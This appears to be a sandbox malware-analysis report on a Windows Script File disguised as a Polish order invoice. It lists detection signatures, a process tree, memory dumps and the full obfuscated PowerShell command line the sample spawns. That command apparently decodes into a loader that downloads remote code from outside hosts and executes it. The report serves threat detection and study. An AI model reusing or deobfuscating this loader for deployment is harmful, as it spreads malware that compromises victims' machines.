Analysis
- max time kernel
149s - max time network
104s - platform
windows11-21h2_x64 - resource
win11-20251015-en - resource tags
- submitted
07/11/2025, 08:43
General
- Target Zamówienie H-53 FV12112025111346347547.wsf
- Size 81KB
- Sample251107-kmn93stkbn
- SHA256 ade04ab33792c890649901b616bd65d4da0622063ccacd29879decb7b6270fa9
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Zamówienie H-53 FV12112025111346347547.wsf"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "mv 'nephromere';function Unregenerate ($rattlesnake='indfrysning'){ $skyldsprgsmaal=3;do { $feebler+=$rattlesnake[$skyldsprgsmaal];$skyldsprgsmaal+=4;$fremmarchernes=Get-Date}<#Individualize Phrenological bopyrus Misdevoted Brnesprog Treeiness #>until (!$rattlesnake[$skyldsprgsmaal]);$feebler}function Filmstrimlens ($socialisationsprocesser){.$quack ($socialisationsprocesser)}$unbiasing=Unregenerate ' YYT* *l/./saaa1<<<2';$grudgment=Unregenerate '***N OOeMMMtp p.gggW .gE';$nonprescribed=[Nullable[int]]0;$grudgment+=Unregenerate 'BBBbR RcmmmL///i ~~ERRRNIIIt';$nabolagenes=Unregenerate 'r rMkkkoB.BzMMMi j l N lE EaDDD/';$nontransiency104='dd [ uun ppE,zztOOO.iiiS>>>Eaa rXX,vyyyiee cDDDe## p:::oBBBi **N IIT~~~M ~ a ^^nRRRaUUUg ,KeG Gr^,^]n n: m.:fffS iie .yc^^^U===R --I A.t ; y MMp l RlllozzzT ggo&&&C___ogggll l=ooo$___u___nDD bNNNiIIIaFFFsCCCiXXXn^^^g';$nabolagenes+=Unregenerate 'HHH5KKK. EE0// L,(mmmWZZ ivvvn>>>dL Lowwww///s.DD MMMN---T.qq WWW1 uu0 .L.>>>0,--; FF FFFWzzzijjjn c 6s s4 qq;CC KKKxmmm6cc.4 P ;eee MMr ppv&&&:III1,^^4CCC4 --.VVV0 __)zzz BBGSSSe xxc pkoooo&&&/ dd2>>>0 ff1TTT0^^^0XXX1DDD0FFF1 ?? --FKKKidddr%%%ekkkf =o --x ||/uuu1:::4 ~~4uuu.TTT0';$terminations=Unregenerate ' aaue eSZZZe ggrkkk-oooa uG ppEDDDN wwT';$ingfreds129=Unregenerate 'v.vhGGGtKKKtDDDpjj,s k :bbb/.GG/***mYYYee,ettt,a>>>vIIIa qqsl li tp ppa x.rkkk.|||h **u NN/LLLpttta---uGG lgggifffnkkk.###t,ZZt***f===>FFFhaaatbbbtyyyp>>>s---:www/CCC/SSSfMMMiLLLl nnezzzs dd. p c mmak kt a.bhhhouuuxppp.HHHm.vvoUUUeu u/iiil aa6^^.ev.va kk8G GsWWW.D Dt qqtCCCf';$hellness220=Unregenerate 'III>';$quack=Unregenerate '__ irrrE --x';$profection='paramandelic';$skyldsprgsmaalndemnifying='\navlerne.dro';Filmstrimlens (Unregenerate '***$***F ddLMMMA /,T===CzzzA &&P %%Sbbb5// 9 UU=pp 0eee;jjj$:::gOOOlIIIOwwwBSS.Aoool OO:nnnSpppk vvr ffuUUUb ZZBK Ke nnrbbbIRR E ggrFFF=~~ $.vve<<<NIIIV p.: ggAZZZP ??P >>dG GAl ltMM A f +|||$ ;,ScccK >>Y b L nndZZZS yyphhhr| |gxxxs iim <<ammmA NNl,kkN BBD,nneVV m%%.NGGGI||.fyyyy~~~i hhN.kkg');Filmstrimlens (Unregenerate ' yy$ff F!!!lBBBaLL,t---c===A///pAAAsZZZ5SS 9ppp=YYY0HHH;sss$AAAGpppLVVVOxxxB???aGGGl r:hhhW___IYYYTFFFc+++H???Iaa eNNNRMMM=DD $MMMI~ ~NOOOg<< f &&r++ EdddDhhhS|||1yyy2N,N9HHH.:::S|||PwwwlP PiOOOtcc.(sss$hhhHP Pe~ ~lO OLTTTNvvvEJJJs HHS &&2iii2 nn0II )');Filmstrimlens (Unregenerate $nontransiency104);$lysreguleres='skibsdrenges';$ingfreds129=$witchier[$nonprescribed];$coalesced='fiberfill';$maanedsmagasinernes=(Unregenerate ' pp$.<<F **LBBBaZZZTyy c## A>>.PDDDs^ ^5 DD9<<,=ttt0PPP;+++$vv GYYYLVVVO TTbtttA###LXX,:h,ht.aae jje **sZZZ=HHHnxxxE ::W II-WWWoXXXb -juuuedddcXXXTDDD vvsHHHy.WWsaaat _ Eyyym ;;. cc$qqqgyy RI,IuDDDd ZZGgggMJJJELLLn.CCt');Filmstrimlens ($maanedsmagasinernes);Filmstrimlens (Unregenerate 'jjj$V VtY YeSSSegggs BB. vvHjjje wwa # d IIeFF rvvvsqqq[lll$ .StBBBeoo,r%.%m v iEEEnVVVa+++t v.i mmoqqqnPPPs:::] rr= .>$uu.nYYYavvvb///o%,%l vva^^^g;.;e???nAAAe***s');$fritillaries=Unregenerate 'w wDB BOZZZWcccN';$fritillaries+=Unregenerate 'EEEl kko ??aDDDDnn.FLLLi BBLVVVe';$contradicter=Unregenerate 'HHH$yyytTTTeNNNe ees < .ppp$WW f// rt,ti MMt eei~~~l EEl ooagggr L,i UUe sss xx.PPPI VVn UUvNNNoT TkWWWe HH(vvv$ __i< <n bbgHHHfDDDr DDe,~~d///s NN1 ll2aaa9FFF,<<<$P.PkGGGv OOa===r,EEtQQQuXXXdwwwgwwwalllvllleBBB)';$kvartudgave=$skrubberier;mv 'udkonkurrer';Filmstrimlens (Unregenerate 'aa.$.DDf,HHlpppa///t --C___a llp qqS// 5z z9>>>=,ff0CCC;///$fffGKKKLeeeOVVVb uua.>>Liii:QQQKxx.rYYYY VMyyyM RRE kkl<<,=>>>(CCCThhhe.DDS ggtIII-+ +Pzzza%%%T,++Hq q U,U$o oKJJJv!!!aRRRreeeT===uDDDdPPPG ++A HHv.TTEmmm)');mv 'parkometer';while ((!$krymmel)) {Filmstrimlens (Unregenerate ' P.$.QQfjjjlVVVajj,tNNNc iia###pcccs cc5c c9!!!=fff0xx ;///$V VgzzzlGGGoWWWb LLa __llll: GGTsssi UUrPPPs|||d .Ua VVgpppsXXXm ldRRRe ##rAAAn~,~e === q $u.up EEarrrn>>>d cce ^^mooooqqqnmmmihhhc') ;Filmstrimlens $contradicter;Filmstrimlens (Unregenerate '~~~[HHHT%%%hBBBR ppE## a???DjjjI|||N xxgfff.,UUt<<<H:::R^^^eSSSaXXXdppp]H H: CC:sssS ,VLf.fEBBBEMMMPmmm(yyy3OOO7ooo5;;;0 L)');Filmstrimlens (Unregenerate '***$pp,f???LuuuAY,YTf fc###ahhhp BS!!!5EEE9 V =***0FFF;///$KKKG_ _Lv.vOIIIb ;;a uul ||: h.K EErWWWY P,M** M& &E ,kLaa = XX(EEEtXXXErr S###tjjj- o PiiiAYYYt;;;hggg ,!!$ZZZK|||VYYYA PPrXXXTGG URRRdyyygnnnA* *V GGE GG)') ;Filmstrimlens (Unregenerate 'ddd$<<<f>>>l===a& &tgggC QQA|||p???shh,5WWW9,===sss0OOO;???$TTTGlllLxxxo Pb.ttA + lWWW:xx Nll O|||nXXXmbbby uuT ffhqqqodddL zo## Gx,xIn nc ttA,ssLWWWLgggyNN =eee$ GGGFFFLwwwOQQQbKKKaxx,LHHH:BB MooooiiieqqqBGGGLHHHEN Nrx x+mmm+ tt%JJ $hhhwxxxi ##Tvvvc //HAA.INN EJJJr R . DclllOrrrUW WNtttt') ;$ingfreds129=$witchier[$nonmythologically]}$spekulationsbyggeriet=309303;$externals=30309;Filmstrimlens (Unregenerate 'RRR$zzzf OOlwwwA>> T OOc.XXA %%pooosppp5yyy9Z Z= .L0nnn;ww $!!!gjjjL &o xxb,qqA+ +LTT : aaIX,Xm mmPTTTE===rHHHA oot .<IEEEv,##2 vv1v v8.ll YYY=+++ OOOgMM EkkktEEE- qqcYYYo UUnRRRTiiiEUUUnMMMtKKK % %$ &&kKK v eeAO.ORhhhtpppUXXXd DDg #AqqqVSS E');Filmstrimlens (Unregenerate ' zz$RRRf~~~l???aLLLtDD cLLLaJJ.pKKKsN N5xx 9f f=^^ 0WWW;~~~$HHHg** lAA o DDbjjja sslC C:GGGKEEEa|||lBBBm ^ yTT kQQQ ~~~=MMM M M[uuuS.jjyQQQs ,GtSSSedddm RR. iCU UoH Hn ZZv WWeLLLrffftL L]^^^:__ :,LLFNNNr///o___m///BAAAa --s|||e //6mmm4lllS >>t%%%r~~~i //nWWWg ^^(,//$uuui ++m,::p.aaew wr XaYY.tI IiGGGvQQQ2II 1xxx8ooo)');Filmstrimlens (Unregenerate ' ??$ff f __Lbbba XXtbbbCKKKAQQQPHHHs II5 ZZ9jjj=:::0CCC;CCC$nnngUUUlKKKOGG,B VVa ??L^^ :TTTS<<<kVVVIxxxbtttswwwDMMMrDDDeNNNNaaagmmmE,IIs gg JJJ= JJ | |[RRRT RRehhhxIIIt ::.-- E###nR RCvvvO+.+DN NiEEEnZZZgxxx]ii :QQ.:KKKA oosvvvCeeeicccILLL. aaG.eee CCt L.sYYYthh R MMi ,BNlllg ??(TT $CCCK ==a ,dl ffMpp y JJKEEE)');Filmstrimlens (Unregenerate '???$,==f===L zzAV.VTHH CcccaMMMP ==S===5TTT9~~,=iii0+++;vvv$<<<GFFFLpppo ; BOOOa ==Ljj :dddK.;;atttn #N+++i wwB!!!aoo l<<<IKK s --M!!!E% %Nppp= xx$Z Zs IIk,vvi X,bmmmszzzd rrr%,%e !!nKK g+++essssV V. | SqqqU/./b J s yyT&&&Rwwwi LLNU UGVV (KKK$QQQSVVVPEEEebb k _ u EEL LLA ^^TM Mi# #ORRRN???slllBCCCy? ?gJJJG xxEMMMRd,dI S EcccT a,RRR$ b,ekkkx^^^t ,EEvv,RiiiNVVVA||.lqqqS V )');Filmstrimlens $kannibalismen;"2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_5jlbdzgf.ezm.ps1
memory/2160-0-0x0000025D62DCA000-0x0000025D62DCB000-memory.dmp
memory/2160-3-0x0000025D7B7C0000-0x0000025D7B7E2000-memory.dmp
memory/2160-8-0x0000025D62600000-0x0000025D630C2000-memory.dmp
memory/2160-9-0x0000025D62600000-0x0000025D630C2000-memory.dmp
memory/2160-10-0x0000025D62600000-0x0000025D630C2000-memory.dmp
memory/2160-15-0x0000025D62600000-0x0000025D630C2000-memory.dmp